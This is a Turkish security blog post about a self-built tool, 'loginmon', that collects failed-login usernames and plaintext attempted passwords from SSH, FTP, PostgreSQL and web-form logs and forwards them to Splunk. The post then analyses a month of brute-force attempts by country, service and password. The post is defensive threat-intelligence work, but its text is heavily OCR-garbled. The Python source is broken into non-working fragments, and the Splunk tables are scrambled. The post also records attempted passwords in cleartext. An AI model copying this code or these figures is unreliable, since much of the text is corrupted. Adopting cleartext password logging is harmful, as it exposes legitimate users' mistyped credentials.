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| ¢ Batcave X | @ Batcave (1) | @ Batcave (3) @ Batcave (2]

| @ Batcave (4) | # Kali (yM)

root@ubuntu:/var /www/html# cat /var/log/apache_form. To

root@ubuntu: /var fwww,/html#

9
07-11-2017 20:40:48 [Failed Password] Client: 192.168.1.144 uUsername:

mert Password: dert

Python ile gelistirdigim loginmon isimli araci da saat bas1 /var/log klasorii altinda yer alan ve agik halde saklanan parolalari, hatali giris
denemesi yapan kullanici adlari, ip adresleri ve tarihler ile alip, Splunk’a génderecek sekilde hazirladim.

+ Batcave X | @ e @
l'!'/llsr{bim’pr
# Failed Login Attempt Monitor v1.0
L hor: Mert

Aut| SARICA
'E-i“ mert [ . ] sarica [@ ] gmail [ . ] com
# vtz hteps:/ wew mertsarica. com

import time

0s
bl T datetime
1wq)ort hashlib
import ,ys

re
import smrplib
from caatl’ header import Header
from email.mime. text import MIMEText
from emai'l.mimr.muni;‘nr: import Hm:uu'lnpart
from email.mime. base import MIMEBase
from email import encoders

debug = 0

# Log Files
logfile = ~/fvar/1 .-fpass-nn "
ar /10g/vstepd. log”
authlog = .rvar,nn.g.rau§ i'log
q =

formlog = ivan’l ug;‘apache_i‘or-. log™

# E-mail paramerers
sender = "mert.saricalgmail som
recipient = "mert. siru:alpa com™
server = "127.0.0.17

port = 25

def su’id_data():

FILE = open (logfile,"rb™ )
except Exceprion,e:
ebug
nt “[*] send_data error: ~ + strie)
return

subject = “Failed Login Attesprs®

msg = MIMEMultipart(}
msg. set_charset ("is0-8859-97)

msg[ Subject”] = str(Header (subject, Tiso-8859-97))
msgl From'] = sender

msg[*To’] = recipient

part = MIMEBase( application’, “ocrer-stream™)

part.set_payload{FILE.read(})

encoders. encode_baseéd (part

part. add_header {"Content. position’, ‘av : filename-"p L= ]

# artach parts into mess.
. &ccording to RFC lelﬁ the 'Iast prt of a multipart message, in this case
L message, is best and preferred.
msg at:ach(vart)
try:
session = setplib. MTP(server, port)
session, ehlal
session. sendmail(sender, recipient, msg.as_string())
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rg = re.compile(rel+reZ+red+redsredsrebirelsrefsredsrellsrell+rell , re. IGNORECASE |re. MULTILINE)

for = in rg.finditer(txt):
if m:

datel=m. group(1)
ate = datetime.datetime. strptime(datel, “Xd-Xm-%Xy")

timel-m. group(2)

sbracesl=m. group(3)

varl=m, group(4)

ipaddressl=m. group(5)

wor dlem. group(6)

var 2=m. group(7

wor d2=m. group(8)

var 3=n. group(9)

14 riw - \nf:]-“ * Mydate strfvime('%-d %b') + " Time:" + timel « " Service:wEBFORM IP:" + ipaddressl + " username:™ + var2 +
ar "\T[+

?' (line)

Password:" & var3

def banner():
o05. System("clear™)

pr
prgnt u"Failed Login Attempt Monitor - https://wew.mertsarica.com™
Brint = =

def mai ll(
(1.—1)'

int ‘[‘E‘ .lna'lyzlng Tlogs...”
| | parse_authl
ar:e_Ft 11:%)
arse_
;arse rr?alog()
parse_formlog(}

except kKeyboardInterrupt:
anne
# ] -
sys ent(;)
except Excep:mn e:
nt "[*] Error:”, strie)
sys exit(l)
if _name__ == *_ main_":

banner ()
main()

Get Help write out where Is Cut Text B Justify cur Pos Prev Page First Line whereIs Next B Mark Text Indent Text undo
Exit rRead File Replace Uncut Text @ To Linter G0 To Line Next Page Last Line To Bracket copy Text unindent Text, redo

| &7 Batcave X | @ Batcave |1] @ Batcave (3) 0 Batcave (2] @ Batcave l-lJ 0 Kali (VM)

Failed Login Attempt Monitor - https://www.mertsarica.com

[*] analyzing Tlogs...
+] Date:7 Nov Time:20:03:07 Sservice:5SH IP:192.168.1.144 uUsername:root Password:dert

[+] Date:7 Nov Time:20:02:07 Service:SSH IP:192.168.1.144 Username:root Password:mert

[+] Date:7 Nov Time:20:03:07 service:ssH IP:192.168.1.144 uUsername:root Password:test

[+] Date:5 Nov Time:17:53:23 service:FTP IP:192.168.1.144 uUsername:mert Password:dert

[+] Date:9 Nov Time:22:19:35 Service:PGSQL IP:192.168.1.144 Username:root Password:mert

[+] Date:9 Nov Time:22:19:35 service:PGSQL IP:192.168.1.144 Username:root Password:test

[+] Date:9 Nov Time:22:19:35 service:PGSQL IP:192.168.1.144 uUsername:root Password:dert

[+] Date:8 Nov Time:20:16:10 Service:HTACCESS IP:192.168.1.144 Username:mert Password:dert URL:/admin/
[+] Date:8 Nov Time:20:16:12 Service:HTACCESS IP:192.168.1.144 username:mert Password:dert URL:/admin/
[+] Date:7 Nov Time:20:40:48 Service:WEBFORM IP:192.168.1.144 username:mert Password:dert

|+ Batcave X

|[root@ubuntu: /var,/Tog# head -n 15 passmon.txt

Date:4-12-17 Time:17:18:10 Service:SSH IP:59.63.166.83 Username:root Password:1.0
Date:4-12-17 Time:16:35:44 Service:SSH IP:59.63.166.83 Username:root Password:root!@#
Date:5-12-17 Time:19:16:21 Service:SSH IP:58.242.83.25 Username:root Password:jumpstart
Date:4-12-17 Time:16:35:48 Service:SSH IP:59.63.166.83 Username:root Password:root!@#
Date:4-12-17 Time:16:35:49 Service:55H IP:59.63.166.83 Username:root Password:pumpkin
Date:5-12-17 Time:19:16:22 Service:SS5H IP:58.242.83.25 Username:root Password:junl23
Date:6-12-17 Time:09:23:45 Service:55H IP:42.7.26.16 Username:root Password:gweasdqwe
Date:4-12-17 Time:16:35:50 Service:55H IP:59.63.166.83 Username:root Password:planetl
Date:6-12-17 Time:09:23:46 Service:55H IP:42.7.26.16 Username:root Password:gweasdzxc!@#
Date:5-12-17 Time:19:16:23 Service:55H IP:58.242,83.25 Username:root Password:jussi
Date:4-12-17 Time:16:35:50 Service:55H IP:59.63.166.83 Username:root Password:powerpc
pate:6-12-17 Time:09:23:47 Service:55H IP:42.7.26.16 Username:root Password:gazwsxedc!@#123
Date:5-12-17 Time:19:16:24 Service:55H IP:58.242,83.25 Username:root Password:justdoit
Date:6-12-17 Time:09:23:48 Service:S5H IP:42.7.26.16 Username:root Password:!@#quwe!@#
Date:5-12-17 Time:19:16:25 Service:S5H IP:58.242,.83.25 uUsername:root Password:kaiser
root@ubuntu: /var/Tog#

[root@ubuntu:~# opt/splunkforwarder/bin sp1unk add monitor /var/log/passmon.txt -sourcetype Loginmon -index main
Added monitor of " /var/log/passmon.txt’
root@ubuntu:~#

Yaklagik 1 ay sonunda Splunk iizerinde biriken ~500.000 kayit iizerinde gerceklestirmis oldugum analizde, sistemime gergeklestirilen
deneme yanilma ve sozliikk saldirilarinin en ¢ok Cin‘den gergeklestirildigini, en fazla saldir1 alan servisin SSHD oldugunu, kullanict adi
olarak en ¢ok root, parola i¢in ise 1234 ile deneme yapildigini 6grenmis oldum.
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< Hie Fieigs.

Selected Fds
@ date 30

@ hos 1

@ 100

@ password2 100-
@ service 3

@ source |

@ sourcetype 1
o time 100+
aun2

@ usemname 100+

« Hige Fieids.

Setected Fuds

@ date 30

a host 1

@i 100

@ passwordz 100+
@ service 3

@ source |

@ sourcetype |
@ Time 100+
a2

@ usernams 100+

= Al Fields

i All Fieids

Ustv  sFoemat  20PerPagew ¢Pev (1,2 3 4 5 5 T B 9 Nem >
1 Time | Event
> et Date:9-12-17 Time:15:32:31 Service:FTP 1P:135.158.26_114 Username:wes-0ata Passeord:Test
THILO00PM  gure - 91247 | host-=ubunte | ip= 19515626114 | password? = test ! source = sourcetype = (OGO~ time = 153231 | useminme = ww-dats
3 1T Date:B-12-17 Time:11:22:37 Service:FTP 1P:117.199.85.149 Username:adein Password:backnard
| VVZZITO00AM  gore = 81217 | host=ubunty | = 11719985149 | password? = backward | service: FTP - source = Avarflogipassmentn | soucenp = Loginmen | tme = 112237 | usemame = admin
client_country ¥ Ame:dnin Password:admin
| service s SSH | source = fvarflog/passmoentet | sourcetype = LogRmon | ume = 0T.064T | usemame = admin
| 72 vauses. 76 188% of events Solected __lu_] ue__', e:atin Password-passeord
service =SSH  source = fvatlogipassmon bt  sourcetype = LOGIMOR  ume = 070643 | usemame = sdmin
mm b S e adein Passmord: default
sl bervice = SSH | scuree = Avarlogipasmon T | scurcerype = Logiimon | time = 070630 | usemame = admin
‘admin Passmord: 12343
Tep 10 Values Coum % 2% 55H | source s arflog/passmontxt | scurcetype = Loginmon | time s 064830 | usernams » dmin
| ovea 3TEEs 954205 L -atmin Passnord:password
Fomogal 5058 1536% | pervice = 56H | source = rype = LOGIAMOA  time = 06:48:30 | usermame = admin
i tanas 278 iy i -admin Password: TujMkodadain
[t i el i B | serviee=SSH | Solsce = (VAIOQ/DASSMON DAL | sourcetype - LOGRNON | time = 054BZ9 | Usemame = sdmin
I e 1835 0462% :admin Password: default .
§ Wick s 55H | souwrce s fvarflog/passmontr | sourcetype s Logiemon  ume s 064829 usemame s admin
| nme et et i -admin Passnord: 12345
.o il oz poe=88H | source - Avariiog/pasmontal | sourcetype - Lognengn | tme = 084829 | usename = admin
AT hoel Ltid ame:root Passmord: kokos
| oa 450 0123% Bervice = S5H | source = /varllog/passmontn | sourcerype - Loginmon  tme = 063235 - usemame = oot
Korea, Biepubiic of e o.081% ame:root Passmord:lunal2d4
L sevvces SSH | sowce = /varlog/pessmon il | sourcetype = LOgimOn | ume = 063236 | usemame = oot
R :32:35 Service-SSM 1P:123.183.209.139 Usernase:rost Password: {lovene
53235000 AM host=ubunty | p=123183200.139 | passwordl= loveme | service SSH | souce = valogipassmontet | sourcetype = LOGRENGN | time = DR3238 | usemame = rodt
PR Date:B-12-17 Time:06:32:04 Service:55H IP:123.183.209.139 Username:root Passeord: 123geelds
GI0A000AM e - 81247 | host=ubuntd | p=123.183.200.130  passwordl=123qweABe | service=SSH | souwice= sourcetype - Loginn e = 063204 | irserreime = 100
> 1207 Date:8-12-17 Time:06:32:03 Service:S5H IP:123,183.209.139 Username:root Passmord:pld
GITOI00AM  gae 0 84297 | hostavbunty | s 123183200139 | pastworzepid | service s SSH | source « vacfiog/pessmonta | scurcerype « LGN | tme s 063203 | usemame = oot
R Date:B-12-17 Time:06:32:03 Service:SSH 1P:123.183.209.139 Usernane:root Passmord:antines
§3203.000 AM 1247 | hostzubunty | p= 123183209139  passwordl: antnea | servce=SSH | source = Avaeflogipassmontet | sowcetype = [GGAMOR | tmo = 083203 | usemname = oot
¥ 12T Date:8-12-17 Time:06:31:22 Service:SSH IP:123.183.209.139 Usernase:root Passaord:nelson
SH22000AM e - 81247 | host-ubuntd | (p=123.183.200.130 | passwoid2=nélson | service= SSH | source= v - Loginn Uime = 063122 | usemame = 150t
> | 1EnT Date:8-12:17 Time:06:31:22 Servace:$5H IP:123,183.209. 139 Username:root Passmord:pancan
GIN2Z000AM  gare 2842497 | hostsubunte | 123183200139 | pastwordls banbam | service sSSH | sowce s /varlog/passmontat | sourcetype = LOgmon | tme s 063122 | usemame = root
» g Time:06:31:21 Service:SSM IP:123 183.209.139 Username:root Fassword:session
B:31:21.000 AM

! hostsubunty | ip= 123083209139 | passwordl = session | service =$SH | source = fvarflogipassmontd | sourcetype = [ogiimgn | time = 03121 | usemame = root

List ~ o/ Feermat 20 Per Page ~ iPrev 1 2 3 4 5 & T 8 9 heat >
i T Event
service w  PEiwen-daty Passeord:test
| pee = FTP | source s varflogipassmontt | sourcetype = Logiamon  fme = 153231 | Lsemanme = ww-data
| JValoes, 100% of everts Selocied |__| Mo :: me:adsin Passmord:backeard
service = FTP | source = Adtfiogipadsmentn | soircetype - LOGINIGA | time = 112237 | usemame = admin
Reports ame: admin Password:admin
i st b by Service =SSH | souce = IvaOQ/BASSMONEA | sourcetype = LogAmon | time = OT0GAT | Lsemsme = admin
by P ®:a0min PasINOra:pasImora
| el Count S sendce s S5H | source s fanegipassmon el | sourcenype - Loginman | tme < 070643 | wsemame = admin
I Wﬂ? o T samesy ) ) _' Be:adein Passmord:default .
_' o e s g bervice = SSH  souwce = varflogipassmontat | sourcetype = LOGRIMOR | time = 070639 | usemame = admin
o = i “atmin Password: 12345
poe = S8H | source = /vrl0g/PassMmOn T | sourcetype = LOGINANON  Lme = 054830 username = admin
Ty AT Bt 8-T2:17 Time 06 48150 Service 55H 19/131.74.7 244 Usarnane:admin Password:password
GABIO000AM  gare- §12197 | hostoubunty | p= 120087244 | passwordl: password | service s SSH | sowre s VBNog/RRSSmOnDT | sourcerype - LOGINMON | time = 064830 | usemame = admin
3 I 12817 Date:8-12-17 Time:06:48:39 Service:SSH IP:121.14.7 344 Username:sdmin Pagsword: Tujiicodadain
G4B29000AM 1000281297 | hostsubunty | (D= 121147248 | passworsd = TujMko0admin | service = SSH | souece s /varlog/passmontit | sourcetypa < LogiRmon  tma = 064829 | usemame = 3gmin
> et Date:8-12-17 Time:06:48:29 Service:SSM IP:121.14.7.244 Usernase:adnin Password:default
BAB20.000AM e - 81247 | hostzubunte | (p= 121147348 | password? = defast | service= SSH | sowrces sourcetype = LOGIEION ~ tme = 064829 | usemame = sdmin
> et Date:B-12-17 Time:05:48:29 Service:S5H IP:121.14.7.244 Usernase:admin Password: 12345
GAB20000AM e - g1247 | host=ubunty | =121 147244 | passwordl=12345  senoce=SSM | source = vBIog/MSSMONTA | sourcetype = Loginemon | tme= 054829 | usename = Bamin
> | 1ueAT Date:8-12-17 Time:06:32:34 Service:S5H IP:123,183.209.139 Username:root Passmord:kokos
GIZIGO0AM e 51217 | hostsubunty | (pe 1Z3TBI29130 | passwordz« kokas | service s SSH | souwce « Avarlop/Rassmontat | sourcetype « LOGRNON | fime « 063235 | usemame « root
> g Date:B-12-17 Tine:06:32:36 Service:SSH 1P:123.183.208.139 Usernane:root Password:lunai2is
63236000 AM 1297 | hostzubunty | p=123083209139  passwordlcunalZM | service=S$SM | source = Mvaniog/passmontrt | sourcetype = [GGIN0N | time = 063238 | usemame = o0
¥ 1t Dave:8-12-17 Time:06:32:35 Service:SSH IP:123.183.209.139 Usernase:root Passaord: iloveme
BIZITO00AM  sore- 84247 | host-ubuety | (p=123181200130 | parswors)- iloveme | servics =SSH | sowee - vM/log/BasEmonat | sourcetype - LEGRENGR | time = DEIEIS | usemame = reel
> | 12817 Date:8-12-17 Time:06:32:04 Service:55H IF:123.183.209.139 Username:roct Passmord: 123geel@s
GILVA000AM  gae . g12197 | hostoubunty | ip= 123783200139 | passwordl: 123QwesBS  service = SSH | Source = /VBNIGGIEASSMON DN | sourcerype = LOGINMOD | Time = 063204 | usermame « 100l
> I 1287 Time:06:32:03 Service:S5H IP:123.183.209.139 Username:root Password:pld
B3203 000 AM | hosteubunty | pe 12383209039 | passworniepid | snice sSSH | source s ivatflog/passmontd | scurcetype = OGO | teme s 063203 | usemams = rool
» | vzEnT Tine:06:32:03 Service-SSH IP:123.183.209.139 Username:root Password:antinea
6:3203.000 AM host=ubunty | p=123183200139 | passwordl= anbines | service=SSH | source = fvafogipastenontxt | soucetype = LOGIMOON | tme= 053203 | usemame = o0
> et Time:06:31:22 Service:SSH IP:123.183.209.139 Username:root Password:nelsen
B2 IO A host=ubuntd | ip=123.183.208.139 | passwoidz=nelson | service=SSH | souces o 22 | usemame = oot
> | 1207 Date:8-12-17 Time:04:31:22 Service:§5H IP:123.183.209.139 Username:root Passmord:banban
GANTLO0AM e 0 81217 | host rubunty | ip s 123183209139  passwodz s banban | service sSSH | sowce = Nariog/passmonte | sourcetype « LGgRMON | tme s 063122 | usemame = rogt
3 | 1enT Date-8-12-17 Time:06:31:21 Service:-SSH IP:123 183209 139 Username:root Passmord: session
B:31:21.000 AM

| hostzubunty | p= 123083209139 | passwordl = session | servce =SSH | source = fvarfiogipassmonit | sourcetype = Loginmnon | tene = D&3121 | usemame = rool
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< b Fieits = All Fields it
Fr— Mmmaif A% A% Timmafaanarer e w-caT PasswOrd: Test
. —— | username X peesFTP | sowce s ivarlogipassmontet | sourcetype - Logimon | time s 163231 | semame - waw-data
@ date 30 | R | Pe:adain Passmord:backeard
@ host 1 100 Values, 99.992% of events Selected | L MO | b senvice=FTP | source= Aatiogipassmentnt | scurcetye - LOGINMGA | broe= 112237 | usemame = sdin
bt i ool ame: admin Password: admin
AT 1 Bervice = SSH | source = /varflogipassmontn | sourcetype = Logimon | time = 070647 | semame = admin
a gervice 3 Top values Top values by tme e values. -
& source 1 Events with his feld #:30min Password:passnord
o ' serice 1S5H | sowice « anlegipassmon bt | scurcenype » Loginmon | ome = 070643 | wsemame » admin
sourcetype
& Ume 100+ | Top 18 Values Count me:adein Pagseord: default
@ w2 [ | 4a0m B jervice=3SH  source = arogipassmontat | sourcetype = LOGRIGN | tme =GT0633 | usemame = agmin
@ usernamse 100+ L Bdmin . - . i . . -admin Password: 12345
user 5 pee = SSH | source = fvlh PASEMON TN Sourcet: = weme = 054830 username = admin
Interesting Fieids s | ey e = Loginenon
@ cRenLcy 100+ rest 1439 duln Passward: passwerd
@ chent_country 72 quest 1,353 Borvice = S5H | souice = BNIOQESSMORDT | sourcenyhe - Loginmon | time = 064830 | wsername = admin
o clent_ls 100 R z i,ozz sadmin Password: TujMkoOadain
 chention 100+ [ = P servie s SSH | scurce s varflog/passmon it | sourceiype - Loginmon | tme = DB4BZ9 | uwsemame @ admin
M chent_region 100+ I e iy -admin Password:default
# dane_hoar 24 { hice = S8H | source = sourcetype = LOGINON ~ tme = 064829 | usemame = admin
# dane_mday 30 w 624
“admin Passnord: 12345
# date_minge 50 o 4 00
TR Pee=SSM | source VEIOQIHSEMONTA | sourcetype - LOGNAION | tme - 064829 | usenamé - admin
# date_sazond &0 = TTInT DT T IO I SR S5 IR T T 209 T Password: kokos
@ date_waay 7 GIZIGO00AM e 81217 | host subunty | (pe 123TBI209130 | passwordz« kokas | service s SSH | souwce « Avarlop/Rassmontat | sourcetype « LOGRENON | fime « 063235 | usemame « root
# date_year 1 » T Date:B-12-17 Tine:06:32:36 Service:SSH 1P:123.183.208.139 Usernane:root Password:lunai2is
a date_zone | BIZIBO00AM  sorp - 91247 | host-ubunte | p=123183209139  passwordl- nal234 | sevice=SSH | source = Avaflog/passmontt | sourcetype - [GGRANGR  tme = 083238 | usemame = root
:xm:“ > et ~12-17 Time:06:32:35 Service:SSH IP:123.183.209.139 Username:root Password:ilovene
o T 63235000 AM 1247 | hostzubunty | p= 123183209139 | pastwordls ikveme | service=SSH | source = /VarlogiDassmonat | sourcetype = LOGINON | time = 063235 | usemame = oo
T > | 1207 Dat@:8-12.17 Time:08:32:04 Service:SSH IP:123.183.209.130 Usernana:root Passward: 123gwes
# timeendpos 2 .snn«l.mm ate = BAZAT | host=ubunty | p= 123783209139 | passwordls TZIGQWARS  service=5SH  ouime = ABIIOGIPAISMONDT | sourcerype = LOGIMON | Time = DGIZ08 | usemame = ool
# timastangos 1 > | 1T Date:8-12-17 Time:06:32:03 Service:55H IP:123.183.209.139 Username:root Passmord:pld
BIZOIO00AM g0 . 842497 | hosteubuniy | pe 123183200039 passworZ e pid | genice = 55H | sournce s fvarflog/passmonta | scurcetype = Loginmon | time = 063203 | usemame = ool
Peiniading: > et Date:8-12-17 Time:05:32:03 Service:SSH IP:123_183.209.139 Usernase:rool Passmord:antinea
+ Extract bew Fielcis 3202000 AM

date =BT | host=ubunty | [n=123183200.139 ' passwordl=antioea | service=SSH | source = fvailogipassmonta | soucetype = LEGAON | tene = 063203 | username = 00t
3 a7 Date:8-12-17 Time:06:31:22 Service:SSH 1P:123.183.209.139 Username:root Passmord:nelson

GEIZ2000AM e - 81217 | host=ubuntd | ip=123.183209.139 | passwoidz=nelson | servce=SSH | source= o
» | 12T Date:8-12-17 Time:06:31:22 Service:S5H IP:123,183.209.139 Username;root Passmord:banban

SIN2L000AM  gare 5 1297 | hosteubunty | 123183200130 | pastwordzsbanbam | service s SSH | sowce s /varlog/passmonta | sourcetype = LOGRNON | tme s 063122 | usemame = root
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22 | usemame = oot

e (f2 2 4 5 8 7 8 9 Next 3
. password2 x
+ Hige Fieids. W ANFieids | ST I
=100 Values, 100% of evems Suiected | Yes | o | eowewegata Passmord:test
Selected Fisids poe s FTP | source = /varflog/passmentat  sourcerype = Loginmon  time = 153231 | usemame « waw-dat
= date 30 . i me:adein Passeord:backeard
& host 1 e o Ve Cy e - service = FTP | source = ¥ GIAGA | trme= 112297 | usemame = samin
: Everts with his el
SN Jone ame:agmin Password:agmin
@ passwordz 100+ A - . = Loa lime = T
: Top 10 Values. Count L pervice = SSH | source = /var/log/passmonta | sourcetype = Logimon | time = OT064T - usemame = admin
SerVICE - A
:m N 1234 2136 041% ®:a0min PASIWOrD: PasEROrg
 sourcetype 1 admin 1925 03T servce = SSH | source = /vanlog/passmennn | sourcenype = Loginmen | me = 070643 | usemame = admin
@ time 100 o 145 ozess e :adetn Passmord:cefault
a2 . | izaess 1107 o2iEs pervice = S5H | source = ivarfleg/pagsmontit | sourcetype = Logimen | fime = 07063 | usermame = admin
@ ustrnamt } : :
= ey -agnin Passaord: 12343
| e Poe=SSM | source: AafiogDassmONtal | sourcetye = LBGRAION | time = 064830 | usemame = admin
Ineresting Fieas suppon 542 [EEN
@ Loty 100+ T cadmin Password: password
@ coent_counry T2 | - e (i) pervice = S5H | sourte = aropDESSMOnDT | sourcetype - LOQIIMON  Time = 0GAB0 | usemame = admin
# chent la 100~ { L) i Lk :admin Password:TujWkodadain
# elention 100« | . Chspbeny T4 o14i% P service s SSH | souce s verflog/passmontit  sourcerype « Logiemon - Tme s 054829 - usemame s admn
& chent_region 100+ | defaur b R, admin Passmord:default
e iy 24 bice = S5H | source = ype = LOGRIION  Ume = 064829 | wsemame = samin
# date_mday 30
2 - > et Date:8-12-17 Time:06:48:29 Service:SSH IP:121.14.7.244 Usernase:aomin Password: 12345
e s 3 GAB20000AM  gyre-g1247 | nost-ubuny | p=12114T244 | passwoed= 12345  senece=SSH | source: /vr0QMSIMONT | Sourcelyps - LOGIMON | Lme= 064820 | Usemame = admin
# dte_second &0 > 1T Date:8-12-17 Time:06:32:3% Service:55H IP:123,183.209.139 Username:root Passmord:kokos
@ date_wday T GILIG00AM  ggre . §12197 | hosteoubunty | pe 123183209139 pastworile kokos | service s SSH | souce s /VBrogipassmonte | sourcerype = LOGMOD | time = 063ZIE | usemame « 1001
* dute o | > | 1enT Date:8-12.17 Time:06:32:36 Service:SSH IP:123.183.209 139 Username:root Passmord:lunal2dé
i e SIZICO00AM 08127 | hostzubunty | 9= 123183209139 passwori2=hnal2i | service=$SH | source = fvarflogipassmontit — sourcetype = LOGRAION | tme = 083236 | usemame = rogt
:m' “"'D;“ > ent Date:B-12-17 Time:06:32:35 Service:S5H IP:123.183.209.139 Username:root Passeord: ilovene
= Tt SALISO00AM  jyre- g1247 | host-ubunby | p- 120181200139 s - irvarre SEH | souce= sourcetype - [GGRENGN | time = 06I2IS | usemame = ot
@ spinic_server 1 > | 128AT Date:8-12-17 Time:05:32:04 Service:554 IP:123.183.209.139 Username:root Passmord: 12igeelds
# timeendpos 2 GIZO4000AM e 81247 | host-ubunty | (p=123.183209.130 | passwordl: 123GWeABS | service= SSH | source = /VBNlog/passmonDn | sourcetype - LoGMmoN | tme 063204 | username = root
# Tmestanpes 1 » 12T Date:B-12-17 Time:06:32:03 Service:SsH IP:123,183.205.139 Username:root Passmard:pld
63203000AM 1300081247 | hostsubunty | (D 123183200139 | passwor2spig | service s SSH | source s Afiogipassmonta | soucetype « LGGINION | e s 063203 | usemame s mot
452; 'M’F » | T Date:B-12-17 Time:06:32:03 Service:SSH IP:123.183.209.139 Username:root Passeord:antinea
R BI0I000AM oo 84247 | fost-ubuntu | p= 123183209139 | password2=antines | service=SSH | source = hailogipassmontl | soucetype = COGRMGN | e = 063203 | usemame = root
> et Date:B-12-17 Time:05:31:22 Service:S5H IP:123.183.209.139 Username:root Passmord:nelsen

SHZZ000AM  gare - B1217 | host-ubunty | ip=123183200139 | passwordl=nelson | servce=SSH  source = Voo 22 | username = oot
12817 Date:8-12:17 Time:06:31:22 Service:S5H 19:123,183.209.139 Username:root Passmord:banban
EIZL000AM  gare 0 1297 | hosteubunty | pe 123183200139 | passworsl s banban | service s SSH | sowce s /VBrOQIpassmontn | soucerype » Logiamon | nme s 063122 | usemame s oot

o [(owar | x
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ip x lr
4 Hide Fieids B 1
100 Values, 100% of everts Selected | Yes | No | me:wms-gata Passmord:test

Selected Fiids !ucr =FTP | source = fvalflog/passmontat — sourcetype = LOGRINON  time = 153231 usermame = waw-data
a date 30 ::‘:'m T Pe:adein Password:backeard
@ host 1 | service: FTP . source = frarflog/passmentn — scurcenype = Loginmen | tme = 112237 | usemame = admin
o g 100s Evenits with this fieid 1 ey
DG 00 Top 10 Vatues Coun % Bervice s SSH | source = /varfog/passmontet | sourcetype = LOGRRIGN | tme = 070647 | usomame = admin
: ::: .: 596316683 129438 25490 - agmin Password:password
@ Sourcye 1 273618 Ta242 15.408% ] Im-m:SSH soulce = fearflogipassmon bit | sourcetype = LOQINMOR | b = 070643 | usemame = ademin
o time 100+ 58242 83 36 39384 778 i [pe:adein Password: default
au2 ot e Sl i e =SSH | source = vaniogipassmentit | sourcetype = Logmon | time = 070639 | username = admin
e BATTAT2E 20978 5.903% i T:‘g{h”‘::l ‘E:“ .
Ieneresting Fieids 2IBET 100154 19342 38094 I - oot el i ]2 Y il i Sl
ety 100+ admin Password:password

e 13 bt a3 amer l wice = 85H e = Sl ot souncety = time = 06:4830  wsername = admin
a chent_country T2 ice souc ogipassmen 1= - Loginmen
# chent_iat 100+ LA b 29N I admin Password: TujMkedadain
# chent bon 100+ %1683 18314 Eid I service = SSH | source = /vir/log/passmonDn | souncetype < LOgION | time = D5B29 | usemame = admin
# chent_region 100+ 8202833 13912 27an I -agmin Passmord:detault
 date o 24 . . - —ice ® 85H | souce s ivarlog/passmen et sourcetype + LOGNION | e 054EIY  usemame « admn
::::“"::::0 > et Date:B-12-17 Time:06:48:29 Service:SSH IP:121.14.7.244 Usernase:admin Passnord: 12345
e e BAB29000AM e - 21247 | hostzubunty | P 121147244 | password2= 12348 | sevice=SSM | source s aellog/passmontnl | sourcetype = OGN | tme= 084829 | usemame = admin
# date_second 0 > | 12807 Date:B-12-17 Time:06:32:36 Service:S5M IP:123.183.209.130 Username: oot Password:kokos
a date_wday 7 SIZIGO00AM e - 84247 | host-ubum | p=123.183200130 | passwordl- kokos | service = SSH | source = VANIOR/PASSMOR DI | sourcetype = LOGNENON | Tme = 063236 | Lrsemame = 1000
 date year | » | 18T Date:8-12-17 Time:06:32:3% Service:S5H IP:123.183.209.139 Username:root Passmord: lunal2dd
@ data_zone | SIZICO00AM  4ore x g1297 | hosteubuntu | P 123.183.209.139 | password = nel234 | senvces SSH | souce s /varflog/pessmontal | sourcetype » LgNON | tme = 0632385 | usemame » root
o I»oe- L » T Date:B-12-17 Time:06:32:35 Service:SSH 1P:123.183.205.139 Usernane:root Password: lavene
i BIEISONAM g2 81247 | hostubunty | = 1ZLIBIE00139 | password?=hovenss | sevics SSSH | sowce = Aaiog/passmnontst | soucetype = R | time = DB328 | usemame =10l
b e 3zt Date:B-12-17 Time:06:32:04 Service:55H IP:123.183.209.139 Username:root Passeord: 123geelds
 timeendpos 2 GIDA000AM e - 81247 | host-ubuntd | p=123.183.200.130 | passwordl=123qweABE | senvice=SSH | souice = NBINoGIpassmon D | sourcetype = LOGION | Tme = 063204 | usermame = ool
# Timestanpes 1 > | 1287 Date:8-12.17 Time:06:32:03 Service:S5H IF:123,183.209.139 Usernamg:root Password:pld

GITOI00AM  gae 0 84297 | hostavbunty | s 123183200139 | pastworzepid | service s SSH | source « vacfiog/pessmonta | scurcerype « LGN | tme s 063203 | usemame = oot
0Ky ok > | 1mnT Dat Time:06:32:03 Service:SSH 1:123.183.209.139 Username:root Passmord:antinea
R P BIZOIO0OAM.  gyre = 1217 | host =ubunts | (0= 123183300130 | password2= snties | service=SSH | source = Aaefiogiessmontel | soucotype = [ | teno = 083200 | useename = 000l

> et Date:8-12-17 Time:06:31:22 Service:55H IP:123.183.209.139 Username:root Passmord:nelson
SM22000AM e - 81247 | host-ubuntd | p=123.183.200.130 | password2=nelson | service= SSH | source = varlogiphtamonna | scurcetype - LOGWIGR | tme= 063122 | usemame = foot
> | 12mnT DaTe:8-12.17 Time:06:31:22 Servace:55H IP:123.153.209.139 USername:roct Password:pantan
SIN2Z000AM  gare 5842497 | hostsubunte | p=123.183.200139 | pastwordls banbam | service s SSH | sowce s /varlog/passmontat | sourcetype = LOgRmon | tme s 063122 | usemame = root £
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Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Mini Tehdit Istihbarati appeared first on Siber Giivenlik Giinliigii.
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